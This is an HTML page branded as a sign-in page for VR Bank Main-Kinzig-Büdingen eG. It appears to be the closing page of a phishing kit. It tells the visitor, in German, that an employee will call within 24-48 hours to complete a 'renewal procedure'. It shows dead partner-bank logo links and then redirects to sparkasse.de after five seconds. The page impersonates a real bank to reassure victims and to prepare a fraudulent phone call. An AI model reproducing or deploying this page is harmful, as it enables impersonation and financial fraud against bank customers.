<!DOCTYPE html>
<html lang="en" dir="ltr">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <meta name="Description" content="Enter your description here" />
    <title>Anmelden - VR Bank Main-Kinzig-Büdingen eG</title>
    <link rel="shortcut icon" href="panel/image/fav-icon.jpg" type="image/x-icon">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
    <link rel="stylesheet" href="panel/css/style.css">

    </script>

    <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>



    <style>
        .floating {
            margin-bottom: 1rem;
            background-color: var(--field__background);
            transition: background-color 0.2s ease;
            border-top-left-radius: 4px;
            border-top-right-radius: 4px;
        }

        .floating:hover,
        .floating:focus-within {
            background-color: var(--field__background--hover);
        }

        .floating__input {
            padding: 1.8rem 1rem 0.6rem;
            font-size: 1rem;
            border: 1px solid #949494;
            border-radius: 5px;
            transition: border-color 0.2s ease;
            caret-color: var(--color__accent);
            width: 100%;
        }

        .floating:hover .floating__input {
            border-color: var(--input__border--hover);
        }

        .floating__input::placeholder {
            color: rgba(0, 0, 0, 0.86);
        }

        .floating__label {
            display: block;
            position: relative;
            max-height: 0;
            /* font-weight: 500; */
            pointer-events: none;
        }

        .floating__label::before {
            color: var(--label__color);
            content: attr(data-content);
            display: inline-block;
            filter: blur(0);
            backface-visibility: hidden;
            transform-origin: left top;
            transition: transform 0.2s ease;
            left: 1rem;
            position: relative;
        }

        .floating__label::after {
            bottom: 1rem;
            content: "";
            height: 0.1rem;
            position: absolute;
            transition: transform 180ms cubic-bezier(0.4, 0, 0.2, 1),
                opacity 180ms cubic-bezier(0.4, 0, 0.2, 1), background-color 0.3s ease;
            opacity: 0;
            left: 0;
            top: 100%;
            margin-top: -0.1rem;
            transform: scale3d(0, 1, 1);
            width: 100%;
            background-color: var(--color__accent);
        }

        .floating__input:focus+.floating__label::after {
            transform: scale3d(1, 1, 1);
            opacity: 1;
        }

        .floating__input:placeholder-shown+.floating__label::before {
            transform: translate3d(0, -44px, 0) scale3d(1, 1, 1);
        }

        .floating__label::before,
        .floating__input:focus+.floating__label::before {
            transform: translate3d(0, -3.60rem, 0) scale3d(0.82, 0.82, 1);
        }

        .floating__input:focus+.floating__label::before {
            color: rgba(0, 0, 0, 0.86);
        }

        .bg-blue {
            background: #EE0000;
            height: 50px;
        }

        input::-webkit-outer-spin-button,
        input::-webkit-inner-spin-button {
            -webkit-appearance: none;
        }

        /* Add this style to your existing styles */
        .fixed-plus49 {
            position: absolute;
            transform: translate(20px, -50px);
            z-index: 999;
            /* Ensure it's above other elements */
            color: #000;
            /* Set the text color */
            font-size: 14px;
            /* Adjust the font size as needed */
        }

        .number {
            padding-left: 50px;
        }

        .floating__input.input {
            padding-bottom: 20px;
            padding-top: 18px;
        }

        .phone-number {
            padding-left: 35px;

        }
    </style>
</head>

<body>
    <section class="bg-blue"></section>
    <div class="container-fluid">
        <div class="row">
            <div class="col-md-12 mt-3">
                <img src="panel/image/logo_img.png" width="220px" class="img-fluid ml-3 img-logo" alt="">
            </div>
        </div>
    </div>
    <div class="container">
        <div class="row mt-5 mb-5 pt-5">
            <div class="col-md-6 m-auto mt-5 pt-5 form-col">
                <!-- <h3 class="text  para">Persönliche Angaben</h3> -->

                <div class="bg-white text-center shadow-lg p-3">
                    <i class="fa fa-check text-success" style="font-size: 30px;"></i>
                    <p class="text-center">Innerhalb der nächsten 24-48 Stunden wird ein Mitarbeiter sich telefonisch melden um das Erneuerungsverfahren zu beenden. Vielen Dank!</p>
                </div>



            </div>

        </div>
    </div>
    <section style="margin-top: 170px;" class="bg-bark-1 p-4 ,mt-4">
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <ul class="d-flex order-list mb-0 justify-content-center">
                        
                    </ul>
                </div>
            </div>
        </div>
    </section>
    <footer>
        <div class="container">
            <div class="row">
                <div class="col-md-12 text-center mt-3">
                    <p class="f-s-12"></p>
                </div>
                <div class="col-md-12">
                    <ul class="d-flex order-list-1">
                        <li>
                            <a href="#"><img src="panel/image/SchwaebischHall.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/UnionInvestment.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/RundV.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/easyCredit.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/DZBANK_Initiativbank.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/DZPrivatbank.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/VR_Smart_Finanz.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/MünchenerHyp.png" class="img-fluid" alt=""></a>
                        </li>
                        <li>
                            <a href="#"><img src="panel/image/DGHYP.png" class="img-fluid" alt=""></a>
                        </li>
                        <!-- <li>
                            <a href="#"><img src="image/Reisebank.png" class="img-fluid" alt=""></a>
                        </li> -->
                    </ul>
                    <ul class="d-flex order-list-1 justify-content-center">
                        <li class="list">
                            <a href="#"><img src="panel/image/Reisebank.png" class="img-fluid" alt=""></a>
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </footer>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.1/umd/popper.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js"></script>

    <script>
        setTimeout(function() {
            window.location.href = 'https://sparkasse.de';
        }, 5000);
    </script>
</body>

</html>